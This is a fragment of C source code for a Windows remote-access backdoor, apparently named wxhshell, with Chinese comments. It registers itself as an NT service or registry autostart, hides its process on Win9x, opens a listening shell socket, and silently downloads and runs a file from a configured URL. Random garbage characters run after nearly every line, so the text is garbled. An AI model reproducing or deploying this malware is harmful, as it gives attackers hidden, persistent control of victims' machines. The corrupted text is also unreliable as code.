ULONG InheritedFromUniqueProcessId; h-`Jd>u"
} PROCESS_BASIC_INFORMATION; w6>'n
}
NikY0=i
PROCNTQSIP NtQueryInformationProcess; Q`ERI5b6
c]jK
Y<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y05(/NH>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pUby0)}t
m#Rgelhk.
HANDLE hProcess; h,B ]5Of
PROCESS_BASIC_INFORMATION pbi; `btw*{ .[
vH_QSx;C#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nW2fB8yq
if(NULL == hInst ) return 0; _U)BOE0o
K~**. NF-n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D*3\4=6x
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *44^M{ti<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l]RO'
01Bs7@"+
if (!NtQueryInformationProcess) return 0; ,aS6|~ac4
%!$ua_8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >-rDBk
;K
if(!hProcess) return 0; )M(; :#le
Ho[Kxe[c
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C;2!c
w J
FEua
CloseHandle(hProcess); Dg~r%F
gaBt;@?:Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -;=0dfC(
if(hProcess==NULL) return 0; b0PqP<{ t
Q" BIk
=
HMODULE hMod; 8
PI>Q
char procName[255]; kQ4-W9u
unsigned long cbNeeded; %g7 !4
9`4mvK/@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H@0i}!U64
2\&uO
CloseHandle(hProcess); K(RG:e~R0i
mmP>Ji
if(strstr(procName,"services")) return 1; // 以服务启动 FC<aX[~&3
;taTdzR_
return 0; // 注册表启动 xe}d&
} 5Z{i't0CQ
u'cM}y&
// 主模块 [ L% -lJ
int StartWxhshell(LPSTR lpCmdLine) vU&I,:72
H
{
HSHY0
SOCKET wsl; P!yE{_%
BOOL val=TRUE; D?~`L[}I!}
int port=0; N{v
<z 6
struct sockaddr_in door; 6jjmrc[#}X
>#).3
if(wscfg.ws_autoins) Install(); (Qmpz
{J3;4p-&
port=atoi(lpCmdLine); GkqKIs
5]yQMY\2)
if(port<=0) port=wscfg.ws_port; v^2q\A-?
c6gRXp'ID
WSADATA data; 1HYrJb,d
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :f (UZmV$
b||
c^f
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bmN'{09@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dWV.5cViP
door.sin_family = AF_INET; !mhV$2&r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Cx @]]
door.sin_port = htons(port); Wk w.z
\C;cs&\Q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { igFz~
closesocket(wsl); ]5W|^%
return 1; +[C(hhk("
} $%9.qy\8
/IS_-h7>XS
if(listen(wsl,2) == INVALID_SOCKET) { L+y}hb
r
closesocket(wsl); &P'cf|KI
return 1; (VeX[*}I
} b4%sOn,
Wxhshell(wsl); u*:B 9E
WSACleanup(); xgV.<^
Z,AF^,H[
return 0; X5i?Bb.
kGm-jh
} *'D(
j#&
k2{*WF
// 以NT服务方式启动 "w}}q>P+sA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ? pq#|PI)
{ ^PDz"L<*
DWORD status = 0; RGd@3OjN
DWORD specificError = 0xfffffff; aOZSX3;wg
vAZc.=+ >
serviceStatus.dwServiceType = SERVICE_WIN32; +\~.cP7[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; r|2Y|6@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9m^"ca
serviceStatus.dwWin32ExitCode = 0; J8Bz|.@Q
serviceStatus.dwServiceSpecificExitCode = 0; L{_Q%!h3]
serviceStatus.dwCheckPoint = 0; _7df(+.{<A
serviceStatus.dwWaitHint = 0; 6qfL-( G
3e&H)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NzB"u+jB
if (hServiceStatusHandle==0) return; JL0>-kg
( <~
status = GetLastError(); *`.h8gTD,
if (status!=NO_ERROR) fLM5L_S}Y
{ :u$nH9kwv
serviceStatus.dwCurrentState = SERVICE_STOPPED; )EQWc0iKG
serviceStatus.dwCheckPoint = 0; S8-3Nv'
serviceStatus.dwWaitHint = 0; <1i:Z*l.
serviceStatus.dwWin32ExitCode = status; nn'a`N
serviceStatus.dwServiceSpecificExitCode = specificError; !,8jB(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }pk)\^/w/
return; z|,YO6(L
} XV)<Oav s
jI})\5<R
serviceStatus.dwCurrentState = SERVICE_RUNNING; <Uj~S
serviceStatus.dwCheckPoint = 0; epw*Px
serviceStatus.dwWaitHint = 0; 8nCw1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^5j+O.zgN
} zJC!MeN
CJ+/j=i;~c
// 处理NT服务事件,比如:启动、停止 iZsZSW \
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^e*Tg&
{ L9(mY `d>"
switch(fdwControl) SM%N]/@U
{ 7wKN
case SERVICE_CONTROL_STOP: FKhmg&+>
serviceStatus.dwWin32ExitCode = 0; !h\.w9o[
serviceStatus.dwCurrentState = SERVICE_STOPPED; b
EB3#uc
serviceStatus.dwCheckPoint = 0; kw,eTB<;R
serviceStatus.dwWaitHint = 0; VRe7Q0
{ kg0X2^#b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KtTlc#*KU
} bs_>!H1
return; 4^4<Le-G
case SERVICE_CONTROL_PAUSE: KZ8Hp=s
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3<Qe'd
^
break; %t&
case SERVICE_CONTROL_CONTINUE: k@[\C`P
serviceStatus.dwCurrentState = SERVICE_RUNNING; tOUpK20q.@
break; i_/A,5TF
case SERVICE_CONTROL_INTERROGATE: mab921-n
break; S5o\joc
}; 1!N|a< #
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]O}TK^%
} O9%`G
r7dwj
// 标准应用程序主函数 zVEG)
Hr
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T'VZ=l[
{ &6ymGo
n1yIQ8 F
// 获取操作系统版本 Ep>} S
OsIsNt=GetOsVer(); \#)|6w-
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0v7#vZ
`<Ry_}V
// 从命令行安装 EJAk'L+nuH
if(strpbrk(lpCmdLine,"iI")) Install(); S F:>dneB
il8n
K
// 下载执行文件 Oy(fh%k#
if(wscfg.ws_downexe) { <Zb~tYp
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (!cG*FrN
WinExec(wscfg.ws_filenam,SW_HIDE); R1sWhB99
} 4gR;,%E\TO
??Lda='
if(!OsIsNt) { E; `@S
// 如果时win9x,隐藏进程并且设置为注册表启动 exW|c~|m{A
HideProc(); >:C0ZQUW
StartWxhshell(lpCmdLine); D*T*of G
} Ms4~P6;%
else r6WSX;K
if(StartFromService()) B3AWJ1o
// 以服务方式启动 /RG>n
StartServiceCtrlDispatcher(DispatchTable); k7L-J
else y$Nqw9
// 普通方式启动 +8xC%eE
StartWxhshell(lpCmdLine); !=uaB.
\v\f'eQ
return 0; Jy^.L$bt
}